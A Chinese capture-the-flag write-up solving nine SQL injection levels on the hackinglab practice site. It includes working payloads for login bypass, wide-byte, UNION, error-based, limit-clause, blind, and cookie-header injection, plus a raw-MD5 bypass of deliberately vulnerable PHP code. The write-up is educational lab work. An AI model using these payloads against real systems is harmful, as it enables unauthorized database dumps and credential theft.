hackinglab注入关writeup

第一关 最简单的SQL注入

一看到登陆页面就尝试使用万能密码进行登陆。这种SQL注入目前确实是最简单的注入了。payload如下:

1
2
url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
payload:username=admin' or 1=1 #&password=123456&vcode=4NHM

Flag:iamflagsafsfskdf11223

第二关 熟悉注入环境

这个也是一个比较简单的SQL注入,就不作过多的说明和分析了。
payload为:

1
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1 #

Flag:HKGGflagdfs56757fsdv

第三关

小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!
通关地址

在进行注入测试的时候,尝试了各种方法发现程序都没有出现问题。
后来根据下方评论中给出的提示以及响应头中返回的charset=gb2312,猜测可能是一个宽字节注入。关于宽字节注入,在sql注入必备知识中进行了简要的说明。要测试是否是宽字节注入使用%df'即可。

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%df'

当使用上面的url之后,页面报错为:

1
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php on line 45

那就说明存在宽字节注入。接下来也是常规的步骤了。

得到字段长度

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by num %23

得到字段长度为3。

得到显示位

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3 %23

得到显示位是2,3

得到数据库信息

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

得到在当前数据库中仅仅存在一个表,sae_user_sqli4

得到字段信息

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

得到在sae_user_sqli4表中有id,title_1,content_13个字段。

脱裤

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select count(*) from sae_user_sqli4) %23

得到记录的长度为4

1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

就可以的得到Flag了。
Flag:flag is here!

第四关 limit注入

小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
通关地址

题目已经提示了是一个limit注入。根据题目中给出的2个参数start和num我们猜测后台的SQL语句的写法是:

1
select content from table limit start,num

但是在进行实际的测试的时候,发现只有start参数有作用,num参数并没有作用。那么猜测可能是后台的PHP在取数据的时候仅仅是选取了一条数据。同时如果num的值不符合要求,如为0,abc等等,那么网页就会显示第一条数据。关于limit注入的文章,可以参考这篇
根据上面的这篇文章的提示,在遇到limit的注入的时候,可以使用如下的语句进行报错注入。

1
select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代码)),1);

知道了limit的注入样例代码之后,我们就可以如法炮制了。接下来又是常规的SQL注入步骤了。

得到表的信息

1
select group_concat(table_name) from information_schema.tables where table_schema=database()

页面的显示内容如下:

1
2
XPATH syntax error: ':article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

那么就知道在当前的数据库中存在article和user表

得到表的列的信息

1
2
3
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php
?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65))),1)%23
&num=100 %23

在article中存在id,title,contents,isread这几个字段。同样的方法知道在user表中存在id,username.password,lastloginI字段。

脱裤

1
2
3
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php
?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23
&num=100 %23

通过查询user表,发现其中有一个字段是flag。那么直接读取flag字段的内容就可以了。

1
2
3
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php
?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23
&num=100 %23

Flag:myflagishere

第5关

第一次遇到图片类型的注入,完全没有思路。这个还是参考网上别人的writeup写的。
初次看到就是一个普通的图片地址,但是注入也恰恰是在这些不起眼的地方。图片的参数其实存在SQL注入,而且还是一个宽字节注入。这个注入能够被找到确实是很厉害。
接下来就正式开始了图片的注入了。
由于在页面上无法显示报错或者是出错的信息,这个时候就需要用到Burpsuite。
这一点也是在本题比较奇葩的一点,每次的sql注入的执行结果都需要使用burpsuite来查看,而不是像往常一样直接在页面上可以显示结果,所以还需要熟悉burp的用法。但是作为一个研究web安全的,熟悉并掌握burp的用法是必须的一项技能。

宽字节注入确认

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27.jpg

页面返回的内容如下:

从页面中看到出现了sql语句执行错误的信息了。那么就说在图片的这个位置确实是存在宽字节注入的。那么接下来又是常规的SQL注入了。

得到字段长度

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 order by 4 %23

得到字段长度是4

得到显示位

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,3,4 %23

得到显示位是3

得到所有的表的信息

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23

在当前的数据库中存在article,pic表

得到表的字段信息

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x61727469636c65),4 %23

在article中的字段有id,title,content,others,在pic中的字段有id,picname,data,text

脱裤

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select count(*) from pic),4 %23

得到在pic中存在3条记录

1
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select  group_concat(picname) from pic),4 %23

得到在pic中存在3张图片,名称分别是dog1.jpg,cat1.jpg,flagishere_askldjfklasjdfl.jpg
dog1.jpg和cat1.jpg都有显示,第3张图片flagishere_askldjfklasjdfl.jpg就是和flag内容有关了。
访问地址http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg就可以得到flag了。
页面返回的内容是:

flag:IamflagIloveyou!

第6关 报错注入

本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录
通关地址

题目已经明确地说明了是一个报错注入的题目,关于报错注入的用法和原理网上已经有了很多的文章,在这里也不进行详细地说明。有机会在详细地讲解报错注入的用法吧。在本题中只需要了解报错注入的用法即可。
报错注入的SQL语句是

1
select count(*),concat(0x3a,0x3a,(注入代码),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a

接下来的注入都是使用这条语句来完成的。注入的步骤还是常规的SQL注入的步骤。

获取数据库信息

1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

页面显示的结果是:

从页面上看到database就是mydbs。其实报错注入的原理就是虽然程序不会通过SQL注入返回我们所想要的内容,但是在报错的时候会将所需要的信息暴露出来。这就是报错注入。

1
2
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php
?username=admin' union select count(*),concat(0x3a,0x3a,(select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

通过上面的SQL语句,我们知道在当前的数据库中存在log,motto,user3张表。接下来就是爆字段信息了。

爆字段

1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=0x6c6f67 limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

通过上面的语句既可以得到所有表的字段信息了。其中log表有id,username,time;motto表有id,username,motto;user表有id,username,password

1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select count(*) from motto),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

通过上面这条记录知道在motto中存在4条记录。
在知道了有4条记录之后接下来就是进行脱裤了。
SQL语句如下:

1
2
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php
?username=admin' union select count(*),concat(0x3a,0x3a,(select username from motto limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

但是我在使用上述的SQL语句进行脱裤的时候,发现页面并没有像预期一样为我返回结果。至今我还没有找打原因,如果有哪位高手知道了希望能够指点一下。后来通过关于Mysql注入过程中的三种报错方式,我发现关于SQL报错注入还可以使用其他的SQL语句。接下来我就采用了下面的这种SQL的报错注入的方式。

1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)))%23

结果发现页面就可以返回预期的报错内容了。如下图。

到现在还是没有搞清楚为什么之前的那个SQL注入不行,但是第二种SQL注入语句却可以返回内容。希望有大神能够指点一下。

第7关 盲注

今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔………..so:不要偷懒哦!
链接

题目已经提示是一个盲注了。
通过在地址栏输入如下的语句:

1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and sleep(3) %23

可以看到页面确实是延迟返回了,那么就说明了username确实是存在sql盲注了。
这道题目直接用sqlmap就可以跑出答案。但是由于这道题目的网络环境并不是很好,sqlmap在跑数据的时候很容易断开连接,因此很难难道flag。
至于如何进行盲注拿数据,这个在sql注入入门系列之后就会讲到,这里就不做说明了。

第8关 SQL注入通用防护

小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!
通过地址

进行sql注入Fuzz的时候,发现无论怎么样尝试都无法进行注入。题目中也说明了GET和POST都被过滤了。那么就说明GET和POST不存在注入了。最后猜测在Header中可能存在注入。这个时候又要使用到sqlmap了。这个其实也是用sqlmap找到其中的cookie注入点,但是还是网络不稳定出现了问题。算了只有通过手注的方式老解决这个问题了。
通过burpsiute抓包之后,修改其中的header字段。当修改了cookie如下:

1
2
3
4
5
6
7
8
GET /sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=\
Connection: close

其中最关键的部分在于在cookie后面加上了一个id=\这样的语句,页面返回的内容为:

1
<b>Warning</b>:  mysql_fetch_row() expects parameter 1 to be resource, boolean given in <b>sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php</b> on line <b>27

那就说明cookie存在sql注入了。
接下来就是进行常规的sql注入测试了,步骤就是常规的SQL注入的步骤了。首先得到字段长度,然后得到显示位,然后得到相关的信息。

得到字段数目

通过order by子句就可以得到字段数目。语句如下:

1
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=2 order by 4

最后得到字段数目是3。

得到显示位

1
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,3

得到显示位是2,3

得到数据库信息

1
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

得到表的信息

得到sae_manage_sqli8表的信息

1
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8')

得到了ID,username,password3个字段。
得到了这3个字段之后接下来就是进行脱裤了。

1
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select id,username,password from sae_manager_sqli8

使用上面这个payload就可以进行脱裤了。
Flag:IamFlagCookieInject!

第9关

据说哈希后的密码是不能产生注入的
代码审计与验证: 通关地址

查看网页源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "config.php";
if(isset($_GET['userid']) && isset($_GET['pwd'])){
$strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
$conn=mysql_connect($dbhost,$username,$pwd);
mysql_select_db($db,$conn);
$result=mysql_query($strsql);
print_r(mysql_error());
$row=mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row);
echo "</pre>";
if($row!=null){
echo "Flag: ".$flag;
}
}
else{
echo "PLEASE LOGINT!";
}
echo file_get_contents(__FILE__);
?>

其中最关键的语句是select * from user where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'。对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

1
2
md5("123456");			//e10adc3949ba59abbe56e057f20f883e
md5("123456",true); //� �9I�Y��V�W��>

可以看到当参数为true的时候,md5之后的值就会乱码。
那么只要md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就会变为select 8 from users where usrid="XXX" and password=''or'<trash>'。如此就可以绕过了。那么这样的str字符串存在吗?所幸还好存在一个,就是ffifdyop。那么我们最终的payload就是:

1
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

这样就可以得到flag了。
Flag: FsdLAG67a6dajsdklsdf

总结

总体来说,做了sql注入关之后感觉自己收获还是很难的。目前感觉自己就是对目前常见的SQL注入的类型和注入手法都有了一定的了解,但是目前感觉自己还是停留在理论水平,接下来看来估计有要开始进行代码审计,加强自己的SQL注入的能力,当然如果能够找到SQL注入的漏洞那就更好了。